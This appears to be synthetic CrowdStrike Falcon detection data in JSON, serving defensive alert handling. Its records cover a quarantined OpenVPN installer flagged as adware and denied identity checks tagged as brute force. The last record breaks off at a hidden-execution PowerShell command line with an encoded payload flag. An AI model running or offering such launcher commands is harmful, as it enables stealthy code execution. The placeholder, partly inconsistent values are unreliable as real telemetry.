"quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"} -{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"} -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} -{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand 